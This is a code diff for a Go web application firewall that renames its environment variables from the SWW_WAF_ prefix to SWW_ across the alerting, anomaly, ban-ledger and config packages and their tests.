// threshold, on a source that fails and on a file with an error to each
|
||||
// destination set: to the webhook
|
||||
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// object" in docs/alerts.md describes, to the Slack incoming
|
||||
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
|
||||
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
||||
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// bounded queue of each destination's own, so that a destination that is
|
||||
// slow or unreachable holds up neither the others nor any request. The
|
||||
// state is written to alerts.json and read from it by the state package.
|
||||
@@ -34,7 +34,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
|
||||
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
||||
const (
|
||||
// EventBan is a ban sww made.
|
||||
EventBan = "ban"
|
||||
@@ -45,7 +45,7 @@ const (
|
||||
// threshold.
|
||||
EventAnomaly = "anomaly"
|
||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// detect mode.
|
||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||
// EventReputationHit is a request whose client a blocklist, the
|
||||
@@ -61,14 +61,14 @@ const (
|
||||
// cannot be read, or a state file that cannot be written.
|
||||
EventFileError = "file_error"
|
||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back by the cooldowns dropped as it ends, which no alert let through
|
||||
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWW_WAF_ALERT_EVENTS does not name it.
|
||||
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWW_ALERT_EVENTS does not name it.
|
||||
EventSummary = "summary"
|
||||
)
|
||||
|
||||
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
|
||||
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
||||
// default.
|
||||
func Events() []string {
|
||||
return []string{
|
||||
@@ -80,12 +80,12 @@ func Events() []string {
|
||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||
// name them.
|
||||
const (
|
||||
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
|
||||
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
||||
DestinationWebhook = "webhook"
|
||||
// DestinationSlack is the Slack incoming webhook
|
||||
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
|
||||
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
||||
DestinationSlack = "slack"
|
||||
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
|
||||
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
||||
DestinationNtfy = "ntfy"
|
||||
)
|
||||
|
||||
@@ -121,26 +121,26 @@ var (
|
||||
// NtfyURL set, no alert is sent.
|
||||
type Params struct {
|
||||
// WebhookURL is where each alert is posted as JSON
|
||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||
WebhookURL *url.URL
|
||||
WebhookHeaders http.Header
|
||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
SlackURL *url.URL
|
||||
// NtfyURL is the ntfy topic each alert is published to
|
||||
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
|
||||
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
||||
NtfyURL *url.URL
|
||||
NtfyToken string
|
||||
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
|
||||
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
||||
Events []string
|
||||
// Cooldown is how long a repeat of an alert is held back
|
||||
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
Cooldown time.Duration
|
||||
MaxPerHour int
|
||||
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
|
||||
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
||||
Instance string
|
||||
// Now tells the time of an alert, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
@@ -301,17 +301,17 @@ func New(params Params) *Queue {
|
||||
}
|
||||
|
||||
if params.WebhookURL != nil {
|
||||
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
|
||||
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
||||
params.WebhookURL, q.webhookMessage)
|
||||
}
|
||||
|
||||
if params.SlackURL != nil {
|
||||
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
|
||||
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
||||
params.SlackURL, slackMessage)
|
||||
}
|
||||
|
||||
if params.NtfyURL != nil {
|
||||
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
|
||||
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
||||
params.NtfyURL, q.ntfyMessage)
|
||||
}
|
||||
|
||||
@@ -319,7 +319,7 @@ func New(params Params) *Queue {
|
||||
}
|
||||
|
||||
// Raise sends alert, which names its event and what is particular to it,
|
||||
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
|
||||
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
||||
// out. It gives alert the instance and the time. An alert that repeats
|
||||
// the last one let through less than Cooldown before is held back and
|
||||
// counted. The next one let through gives that count, unless an hour of
|
||||
@@ -363,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
|
||||
}
|
||||
|
||||
// WouldSend reports whether Raise would let an alert for event on
|
||||
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
|
||||
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
||||
// event, no alert for event on netblock was let through less than
|
||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||
// in the hour under way. Unlike Raise, it counts nothing.
|
||||
@@ -608,13 +608,13 @@ func (q *Queue) endHour(now time.Time) {
|
||||
|
||||
if heldBack > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
||||
}
|
||||
|
||||
if repeats > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
}
|
||||
|
||||
if len(reasons) > 0 {
|
||||
|
||||
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
||||
|
||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||
t.Error("a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out")
|
||||
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
|
||||
}
|
||||
|
||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
||||
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
||||
|
||||
for setting, params := range map[string]alerts.Params{
|
||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
|
||||
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||
} {
|
||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
||||
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
||||
"as_name": "",
|
||||
"country": "",
|
||||
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
|
||||
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
|
||||
"detail": map[string]any{
|
||||
"hour": started,
|
||||
"count": float64(3),
|
||||
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
|
||||
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
||||
|
||||
if !strings.Contains(log.String(),
|
||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
|
||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
|
||||
t.Errorf("process log %q names no failure", log.String())
|
||||
}
|
||||
|
||||
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
|
||||
wantCounts(t, q, 1, 3, 0, 1)
|
||||
|
||||
if !strings.Contains(log.String(),
|
||||
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
|
||||
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
|
||||
t.Errorf("process log %q names no alert given up", log.String())
|
||||
}
|
||||
})
|
||||
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
||||
|
||||
logged := log.String()
|
||||
if !strings.Contains(logged,
|
||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) ||
|
||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||
}
|
||||
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
||||
}
|
||||
|
||||
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||
|
||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
||||
@@ -901,7 +901,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
||||
|
||||
logged := log.String()
|
||||
if !strings.Contains(logged,
|
||||
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||
strings.Contains(logged, "hooks.slack.example") ||
|
||||
strings.Contains(logged, "T0123") {
|
||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||
@@ -1254,7 +1254,7 @@ type eventMessage struct {
|
||||
title, priorityAndTag, text string
|
||||
}
|
||||
|
||||
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
|
||||
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
|
||||
// names, the first in observe mode, each with its message.
|
||||
func anAlertForEachEvent() []eventMessage {
|
||||
return []eventMessage{
|
||||
|
||||
+12
-12
@@ -28,16 +28,16 @@ const maxCounters = 20000
|
||||
// alerts name them.
|
||||
const (
|
||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||
// SWW_WAF_IPV6_GROUP_PREFIX.
|
||||
// SWW_IPV6_GROUP_PREFIX.
|
||||
ScopeClient = "client"
|
||||
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
|
||||
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
|
||||
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
||||
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
||||
ScopeNet = "net"
|
||||
// ScopeASN is an AS number.
|
||||
ScopeASN = "asn"
|
||||
// ScopeTotal is the whole service.
|
||||
ScopeTotal = "total"
|
||||
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
|
||||
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
||||
ScopeWatchedNet = "watched_net"
|
||||
)
|
||||
|
||||
@@ -62,7 +62,7 @@ type Thresholds struct {
|
||||
BytesPerHour int64
|
||||
}
|
||||
|
||||
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
|
||||
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
||||
type NamedNetblock struct {
|
||||
Name string
|
||||
Netblock netip.Prefix
|
||||
@@ -70,14 +70,14 @@ type NamedNetblock struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
||||
// SWW_WAF_WATCH_*.
|
||||
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
||||
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
||||
// SWW_WATCH_*.
|
||||
Client, Net, ASN, Total, Watch Thresholds
|
||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
||||
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
||||
NetV4Prefix, NetV6Prefix int
|
||||
// NamedNetblocks are SWW_WAF_WATCH_NETS.
|
||||
// NamedNetblocks are SWW_WATCH_NETS.
|
||||
NamedNetblocks []NamedNetblock
|
||||
// Alerts receive the anomaly alerts.
|
||||
Alerts *alerts.Queue
|
||||
@@ -107,13 +107,13 @@ type Request struct {
|
||||
Host string
|
||||
// Client is the client's address, and ClientGroup the client it is
|
||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||
// SWW_WAF_IPV6_GROUP_PREFIX its address is in.
|
||||
// SWW_IPV6_GROUP_PREFIX its address is in.
|
||||
Client netip.Addr
|
||||
ClientGroup netip.Prefix
|
||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||
// unknown.
|
||||
ASN, ASName, Country string
|
||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
|
||||
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
||||
Bytes int64
|
||||
}
|
||||
|
||||
|
||||
@@ -123,7 +123,7 @@ type Notes struct {
|
||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
|
||||
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
||||
// client sent it.
|
||||
RuleID string `json:"rule_id,omitempty"`
|
||||
Target string `json:"target,omitempty"`
|
||||
@@ -199,7 +199,7 @@ type Ledger struct {
|
||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||
// netblocks that have been banned. Check looks for a ban at each of
|
||||
// them, so that a ban read from bans.json refuses every client in its
|
||||
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
|
||||
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
||||
// or another length of an IPv6 client's netblock.
|
||||
v4Lengths, v6Lengths []int
|
||||
}
|
||||
|
||||
+277
-289
@@ -1,9 +1,10 @@
|
||||
// Package config reads sww's settings, and is the one place they are
|
||||
// read. Every setting is an environment variable. The settings of `sww
|
||||
// discriminator` start with SWW_WAF_, every one of them has a default, and most can be
|
||||
// given as a file instead. Those of `sww rproxy` start with SWW_RPROXY_. Each
|
||||
// of them but SWW_RPROXY_WAF_BACKEND has a default, and each can be given as a file
|
||||
// too. SWW_COMMAND chooses which of the two the image runs.
|
||||
// discriminator` start with SWW_, every one of them has a default, and most can be
|
||||
// given as a file instead. Those of `sww rproxy` start with SWRP_. Each
|
||||
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
|
||||
// since rproxy never touches disk. SWW_COMMAND chooses which of the two
|
||||
// the image runs.
|
||||
package config
|
||||
|
||||
import (
|
||||
@@ -26,8 +27,6 @@ import (
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||
@@ -36,121 +35,121 @@ import (
|
||||
// Config is the settings of `sww discriminator`. A time or size limit of
|
||||
// zero is off.
|
||||
type Config struct {
|
||||
// ListenAddr is where discriminator listens (SWW_WAF_LISTEN_ADDR).
|
||||
// ListenAddr is where discriminator listens (SWW_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
// InstanceName is the name every log line and alert gives as instance,
|
||||
// and every metric carries as its label instance (SWW_WAF_INSTANCE_NAME),
|
||||
// and every metric carries as its label instance (SWW_INSTANCE_NAME),
|
||||
// by default the host's name, which docker sets to the first 12
|
||||
// characters of the container's id.
|
||||
InstanceName string
|
||||
// Observe is true in observe mode, when SWW_WAF_MODE is observe rather
|
||||
// than enforce: a request that SWW_WAF_DENY_NETS, a ban, the country
|
||||
// Observe is true in observe mode, when SWW_MODE is observe rather
|
||||
// than enforce: a request that SWW_DENY_NETS, a ban, the country
|
||||
// lists, a rate limit, a rule or the Core Rule Set would refuse is
|
||||
// allowed instead, and no ban is made.
|
||||
Observe bool
|
||||
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
|
||||
// (SWW_WAF_IPV6_GROUP_PREFIX), from 32 to 128.
|
||||
// (SWW_IPV6_GROUP_PREFIX), from 32 to 128.
|
||||
IPv6GroupPrefix int
|
||||
// MaxTrackedClients is the most clients the table of clients holds, in
|
||||
// memory and in clients.json (SWW_WAF_MAX_TRACKED_CLIENTS).
|
||||
// memory and in clients.json (SWW_MAX_TRACKED_CLIENTS).
|
||||
MaxTrackedClients int
|
||||
// AllowNets are the netblocks whose clients skip every check
|
||||
// (SWW_WAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the
|
||||
// rate limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_NETS).
|
||||
// (SWW_ALLOW_NETS). RateLimitExemptNets are those whose clients the
|
||||
// rate limits neither count nor refuse (SWW_RATE_LIMIT_EXEMPT_NETS).
|
||||
// DenyNets are those whose clients are always refused
|
||||
// (SWW_WAF_DENY_NETS).
|
||||
// (SWW_DENY_NETS).
|
||||
AllowNets []netip.Prefix
|
||||
RateLimitExemptNets []netip.Prefix
|
||||
DenyNets []netip.Prefix
|
||||
// RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the
|
||||
// most requests a client may make in a minute, an hour and a day
|
||||
// (SWW_WAF_RATE_LIMIT_PER_MINUTE, SWW_WAF_RATE_LIMIT_PER_HOUR and
|
||||
// SWW_WAF_RATE_LIMIT_PER_DAY).
|
||||
// (SWW_RATE_LIMIT_PER_MINUTE, SWW_RATE_LIMIT_PER_HOUR and
|
||||
// SWW_RATE_LIMIT_PER_DAY).
|
||||
RateLimitPerMinute int64
|
||||
RateLimitPerHour int64
|
||||
RateLimitPerDay int64
|
||||
// RateLimitExemptPaths are the path prefixes whose requests the rate
|
||||
// limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_PATHS).
|
||||
// limits neither count nor refuse (SWW_RATE_LIMIT_EXEMPT_PATHS).
|
||||
// Each starts with /.
|
||||
RateLimitExemptPaths []string
|
||||
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
|
||||
// most bytes a client's requests may carry in a minute, an hour and a
|
||||
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
||||
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
|
||||
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
|
||||
// day (SWW_BYTES_LIMIT_PER_MINUTE, SWW_BYTES_LIMIT_PER_HOUR and
|
||||
// SWW_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
|
||||
// toward them (SWW_BYTES_COUNT): response, request or both.
|
||||
BytesLimitPerMinute int64
|
||||
BytesLimitPerHour int64
|
||||
BytesLimitPerDay int64
|
||||
BytesCount string
|
||||
// LookupSource is where each client's AS number and country are
|
||||
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// looked up (SWW_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
||||
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// in while LookupSource is file (SWW_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to LookupTimeout for its client's
|
||||
// first answer from GeoJS while a setting needs it
|
||||
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
|
||||
// (SWW_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
|
||||
// when the app is passed the client's AS number and country in headers
|
||||
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
// (SWW_ADD_LOOKUP_HEADERS).
|
||||
LookupSource string
|
||||
LookupDBPath string
|
||||
LookupTimeout time.Duration
|
||||
AddLookupHeaders bool
|
||||
// ExclusivelyAllowedCountries, when not empty, are the only countries
|
||||
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
||||
// whose clients are let through (SWW_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
||||
// two-letter codes in capitals, as GeoJS gives them.
|
||||
ExclusivelyAllowedCountries []string
|
||||
// TagLists are the address lists that each add a tag to the requests of
|
||||
// the clients they hold (SWW_WAF_TAG_LISTS). TagDeny are the tags whose
|
||||
// requests are refused (SWW_WAF_TAG_DENY). TagLimitPercent gives the clients
|
||||
// the clients they hold (SWW_TAG_LISTS). TagDeny are the tags whose
|
||||
// requests are refused (SWW_TAG_DENY). TagLimitPercent gives the clients
|
||||
// with a tag that percentage of every rate limit and byte limit, from 1
|
||||
// to 99 (SWW_WAF_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in
|
||||
// to 99 (SWW_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in
|
||||
// lower case, a country code in capitals.
|
||||
TagLists []TagList
|
||||
TagDeny []string
|
||||
TagLimitPercent map[string]int64
|
||||
// RouteWatchURL is where the routewatch instance is that adds the asn=
|
||||
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
|
||||
// and prefix= tags, "" for none (SWW_ROUTEWATCH_URL).
|
||||
RouteWatchURL string
|
||||
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
|
||||
// those they list a percentage of the byte limits in place of the one
|
||||
// TagLimitPercent gives their asn= or country= tag
|
||||
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
|
||||
// (SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT). Each holds
|
||||
// percentages from 0 to 100, by AS number, written as AS64496, or by
|
||||
// country, a two-letter code in capitals, as the lookup gives them.
|
||||
// UnknownLimitPercent is the percentage of every limit a client without
|
||||
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
|
||||
// a country gets (SWW_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
|
||||
// where a file of AS:percent lines is fetched from, whose percentages
|
||||
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
|
||||
// count like asn= tags in TagLimitPercent (SWW_ASN_LIMIT_PERCENT_URL),
|
||||
// "" while it is unset.
|
||||
ASNBytesPercent map[string]int64
|
||||
CountryBytesPercent map[string]int64
|
||||
UnknownLimitPercent int64
|
||||
ASNLimitPercentURL string
|
||||
// BlocklistURLs are where the blocklists are fetched from
|
||||
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
||||
// (SWW_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
||||
// fetched again BlocklistRefresh after it was last fetched or tried
|
||||
// (SWW_WAF_BLOCKLIST_REFRESH), which is never less than an hour.
|
||||
// (SWW_BLOCKLIST_REFRESH), which is never less than an hour.
|
||||
// BlocklistAction is what is done with a client a blocklist lists
|
||||
// (SWW_WAF_BLOCKLIST_ACTION): deny, limit or log; for limit,
|
||||
// (SWW_BLOCKLIST_ACTION): deny, limit or log; for limit,
|
||||
// BlocklistLimitPercent is the percentage of every limit it gets.
|
||||
BlocklistURLs []string
|
||||
BlocklistRefresh time.Duration
|
||||
BlocklistAction string
|
||||
BlocklistLimitPercent int64
|
||||
// DNSBLZones are the DNSBL zones clients are asked about
|
||||
// (SWW_WAF_DNSBL_ZONES), through DNSBLResolver (SWW_WAF_DNSBL_RESOLVER), or
|
||||
// (SWW_DNSBL_ZONES), through DNSBLResolver (SWW_DNSBL_RESOLVER), or
|
||||
// the host's resolver while that is the zero AddrPort.
|
||||
// AbuseIPDBKey is the key of the AbuseIPDB account clients are checked
|
||||
// with (SWW_WAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score
|
||||
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
|
||||
// with (SWW_ABUSEIPDB_KEY), "" while it is unset and none is. A score
|
||||
// of AbuseIPDBMinScore or more is a hit (SWW_ABUSEIPDB_MIN_SCORE), and
|
||||
// at most AbuseIPDBDailyBudget checks are made a day
|
||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
||||
// ReputationAction is what is done with a client a zone's verdict lists,
|
||||
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
|
||||
// or whose score is a hit (SWW_REPUTATION_ACTION): deny, limit or log;
|
||||
// for limit, ReputationLimitPercent is the percentage of every limit it
|
||||
// gets. A verdict or a score is used for ReputationCacheTTL after it was
|
||||
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
|
||||
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
|
||||
// fetched (SWW_REPUTATION_CACHE_TTL), and a query or a check may take
|
||||
// ReputationTimeout (SWW_REPUTATION_TIMEOUT). Neither can be off.
|
||||
DNSBLZones []string
|
||||
DNSBLResolver netip.AddrPort
|
||||
AbuseIPDBKey string
|
||||
@@ -161,74 +160,74 @@ type Config struct {
|
||||
ReputationCacheTTL time.Duration
|
||||
ReputationTimeout time.Duration
|
||||
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
||||
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
|
||||
// engine whose local API SWW_CROWDSEC_LAPI_URL names is fetched from:
|
||||
// that URL with v1/decisions added to its path, "" while it is unset and
|
||||
// none is. CrowdSecKey is the key the engine is asked with
|
||||
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
||||
// (SWW_CROWDSEC_LAPI_KEY).
|
||||
